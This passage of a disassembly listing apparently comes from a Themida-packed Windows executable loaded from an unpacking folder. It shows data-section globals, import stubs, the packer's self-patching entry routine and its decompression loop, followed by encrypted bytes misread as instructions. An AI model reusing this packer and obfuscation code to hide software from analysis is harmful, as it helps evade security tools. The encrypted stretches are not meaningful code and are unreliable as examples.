					; sub_418B59+4Dr ...
dword_4DB270	dd 17h dup(0)		; DATA XREF: sub_419460:loc_419582o
					; sub_419460+12Do
dword_4DB2CC	dd 80h dup(0)		; DATA XREF: sub_418A99+4Co
					; sub_418A99+7Eo ...
byte_4DB4CC	db 0			; DATA XREF: sub_418B59+29r
					; sub_418B59+34w
		align 10h
dword_4DB4D0	dd 80h dup(0)		; DATA XREF: sub_418DB0+61o
					; sub_418DB0+89o ...
dword_4DB6D0	dd 81h dup(0)		; DATA XREF: sub_4186C2:loc_4186FAo
					; sub_4186C2+5Bo
dword_4DB8D4	dd 0			; DATA XREF: sub_419A21:loc_419A42r
					; sub_419B10+54r ...
dword_4DB8D8	dd 0			; DATA XREF: sub_419A21r
					; sub_419B10+37r ...
dword_4DB8DC	dd 0			; DATA XREF: sub_419A51+1Ar
					; sub_419C65+83o
dword_4DB8E0	dd 0			; DATA XREF: sub_419A21:loc_419A35r
					; sub_419C65+11Bw
dword_4DB8E4	dd 0Dh dup(0)		; DATA XREF: sub_419B10+13o
					; sub_419C65:loc_419DA2o
dword_4DB918	dd 0			; DATA XREF: sub_419B10+CDr
					; sub_419B10+ECr ...
		align 10h
dword_4DB920	dd 0Eh dup(0)		; DATA XREF: sub_41A88C+47o
dword_4DB958	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB95C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB960	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB974	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB978	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB980	dd 2450B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB984	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB988	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB990	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB998	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB99C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB9A0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB9A4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB9AC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB9B0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB9B8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB9BA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB9BE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB9C0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB9C2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB9C8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9D0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9D8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9DC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9E0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9E4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9EC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9F0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9F4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9F8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9FC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DBA00	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DBA04	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DBA08	dd 0			; DATA XREF: sub_42255C+29r
dword_4DBA0C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DBA14	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DBA24	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DBA2C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA30	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB990o
		align 10h
		dd 3Ah dup(0)
dword_4DBB38	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB3C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB40	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB44	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB48	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB50	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB52	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB54	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB70	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB74	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB78	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB7C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB80	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DBB88	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB90	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB94	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBD4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBD6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBD8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBDA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBDC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBDE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBE0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBE2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBE4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBE8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBC28	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBC2A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBC2C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBC2E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC30	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC32	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC34	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC36	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC38	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC3C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC40	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC44	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC48	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC4C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC50	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC54	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC58	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC5C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC60	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC68	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC6C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC70	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC74	db 0			; DATA XREF: sub_40D879r sub_40D879+9w
		align 4
dword_4DBC78	dd 2451140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DBC80	dd 400h	dup(0)		; DATA XREF: ___:off_43D0C8o
					; ___:0043D0D0o
dword_4DCC80	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCCA0	dd 2450650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCCA4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCDA0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCDA4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCDB0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCDBC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDC0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEC0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEC1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFC4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFC8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFCC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFD0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFD8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFDC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFE0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFE4	dd 2450000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFE8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFEC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFF0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFF8	dd 2450758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFFC	dd 2450758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000FF000 (1044480.)
; Section size in file		: 000FF000 (1044480.)
; Offset to raw	data for section: 000E0000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 4E0000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 2D32AD3Ah, 45EB3h, 54432h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00549BC6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054D067 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054D2DD SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0054D331 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0054D34F SIZE 00000093 BYTES
; FUNCTION CHUNK AT 0054D418 SIZE 00000022 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 0, 4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:0043812Co
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0E026Ah
		add	ecx, edi
		jmp	short loc_4E0090
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_549BC6
		mov	ecx, offset word_4E026A


loc_4E0090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_549BC6
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 153349Ch, 0E12422AFh, 35F2AA1Eh, 0BCEE102Eh,	2F848B21h
		dd 0B88733FCh, 46013847h, 0BC6BE5FEh, 650752E8h, 72617473h
		dd 8B704133h, 0E478D32Eh, 19B2262h, 54BC3F84h, 6D656803h
		dd 84616469h, 8B11A83Ah, 0F3EF3F84h, 0FF2E8401h, 112E98E2h
		dd 1078CEFFh, 9222AEEAh, 0FCFE0AE1h, 0D768B101h, 3719AF7h
		dd 77756451h, 5FDD01A1h, 8403CCE3h, 8B36A82Ah, 0C7BB7A84h
		dd 0D421C58Bh, 20C2E860h, 0ABED815Dh, 6113407h,	14969589h
		dd 0DDB5110Dh, 0F0853B29h, 20BD8380h, 74E0159Dh, 0E88B0C1Ch
		dd 0DAB8E289h, 0C7C27B3Dh, 1C244470h, 3401D3Eh,	0E845186Ah
		dd 9A6829A3h, 783741Eh,	70ADF94h, 0A894B25h, 0E942D5A4h
		dd 0EC950214h
		db 0F4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	al, 0EEh
		pop	edx
		adc	dword ptr [eax], 23599EAh
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0EC60846h
		inc	eax
		mov	[eax], ecx
		aas
		cmp	dword ptr [ebp+31h], 0F741D80h
		lahf
		and	[eax], cl
		int	3		; Trap to Debugger
		add	dword ptr [ebx], 45h
		inc	ebx
		adc	al, [ebx-15h]
		loope	near ptr loc_4E0385+1
		fsub	qword ptr ss:[ecx+26h]
		mov	al, ds:0A004C2C9h
		inc	esi
		add	esp, 2FF7C34h
		jb	short near ptr loc_4E03C4+2
		loop	near ptr loc_4E0397+8
		lea	eax, [ebp-80h]
		mov	ecx, [edx]
		pop	ebp


loc_4E0385:				; CODE XREF: Themida_:004E0369j
		or	bh, al


loc_4E0387:				; CODE XREF: Themida_:004E03B5j
		test	[ecx], ebx
		and	dl, [eax+50h]
		lea	ecx, [edx]
		rol	dword ptr ds:411888C3h,	1
		mov	[ebp+0Bh], eax


loc_4E0397:				; CODE XREF: Themida_:004E037Dj
		cmp	dword ptr [ebp+145D0610h], 0A127E375h
		lea	edi, [edx+75606447h]
		or	byte ptr [edx-0B44DBF2h], 5Bh
		cmp	byte ptr [eax+785437ABh], 0D3h ; CODE XREF: Themida_:004E03BBj
		jle	short loc_4E0387
		popa
		invd
		dec	ebx
		jnz	short near ptr loc_4E03AE+6
		fsubr	dword ptr [edi+464729C3h]
		dec	edx


loc_4E03C4:				; CODE XREF: Themida_:004E037Bj
		and	eax, [esi+15h]
		stc
		inc	edx
		adc	eax, 0D08A61D1h
		sar	byte ptr [edx],	1
		lock inc ch
		out	dx, al
		inc	ebp
		cld
		add	eax, 1E04EB4Dh
		lodsd
		inc	esi
		inc	esi
		cmp	byte ptr [esi],	40h
		sub	edi, esi
		mov	edx, 3034B784h
		jge	short loc_4E03F6
		jmp	short loc_4E046B
; ---------------------------------------------------------------------------
		dd 66F83EC8h, 0F042126Dh
		db 65h,	0Eh
; ---------------------------------------------------------------------------


loc_4E03F6:				; CODE XREF: Themida_:004E03E8j
		hlt
; ---------------------------------------------------------------------------
		db 40h
		dd 65C14A10h, 0D6A004F0h, 0E01CD1F8h, 28B0C203h, 0E8ADB33h
		dd 0FB80301Ch, 0A0A7266h, 577391Eh, 3379EB9Fh, 0FB611422h
		dd 660A3F0Dh, 0AF1E08B7h, 560AC3A7h, 41181A10h,	460A0B72h
		dd 24066F77h, 5D010C51h, 39F4ECF0h, 28D7D83h, 9B0CB072h
		dd 0B3A576C0h, 0F82620AAh, 0B58D03E7h, 553BA800h, 54820FFCh
		dd 0E0B0BD78h, 2838DFAAh, 700870BAh
		db 0B9h, 54h, 70h
; ---------------------------------------------------------------------------


loc_4E046B:				; CODE XREF: Themida_:004E03EAj
		cld
		mov	ebp, 372820h


loc_4E0471:				; CODE XREF: Themida_:004E0475j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_4E0471
		mov	ecx, 0EE6AE222h
		mov	ebx, 0F1FA0171h
		aaa
		sub	bl, 0Ch
		mov	es, ax
		mov	es, word ptr [esi+1C12391Dh]
		pop	es
		push	ecx
		sbb	esi, gs:[esi]
		sbb	eax, 268A72FFh
		test	[edi], eax
		jmp	near ptr 0EAA709A1h
; ---------------------------------------------------------------------------
		dw 14h
		dd 0EC7F840Dh, 0BBE8FA78h, 18EA6850h, 0B5328200h, 741A61C1h
		dd 0B810077Ah, 55C32CD9h, 0EA1E068Dh, 0E8000B0Fh, 8E1C5C0Bh
		dd 331BAB2h, 0C9FD76F8h, 823056EEh, 8CFAE4F1h, 13470CBh
		dd 4E398267h, 830F765Bh, 43D515Eh, 0B33BE3D1h, 75560E46h
		dd 11AC2E09h, 0EC05480Eh, 69065E4h, 0C5846500h,	54968E05h
		dd 8F538230h, 29C2040Ah, 5718C81h, 0EB7E782h, 2BFF66A2h
		dd 4778118h, 3341D22h, 33F984C1h, 0BC202075h, 0EC0AEE3Fh
		dd 230CEEFh, 13EC4167h,	0CC3F7F8Ch, 9F4021FFh, 60E9D445h
		dd 52C462A0h, 254D8C01h, 0B1AA8211h, 5AAB9A09h,	56131184h
		dd 155EE84Ch, 813BEE82h, 40F90950h, 0B9FA8A38h,	230513A2h
		dd 0E9432897h, 0B111560h, 0F6D1344h, 898B1ED8h,	0DDBD3B60h
		dd 8C3CF6CEh, 2B505C3h,	860F61E7h, 10F3C0D8h, 7562D2C0h
		dd 1881315Ch, 0A013EA4Bh, 0D10F800Bh, 0C09D7317h, 65B9548Fh
		dd 797259h, 2FD2EE2Dh, 0EADA8D67h, 0D0350967h, 1366CC10h
		dd 1855F8AFh, 7605E281h, 0F918E1C0h, 402B08EAh,	0F5F600ADh
		dd 62323B20h, 101BCA0Bh, 3C211C86h, 4B9EDCA8h, 2872DFC8h
		dd 1F02608Fh, 36EAD98Ch, 64F416A8h, 887E0546h, 21658410h
		dd 4000E90Dh, 6F4309Ah,	62A824D6h, 586618Ch, 661BE829h
		dd 710E0C00h, 92DD4183h, 8A5C06E7h, 600FD286h, 0BBDCA081h
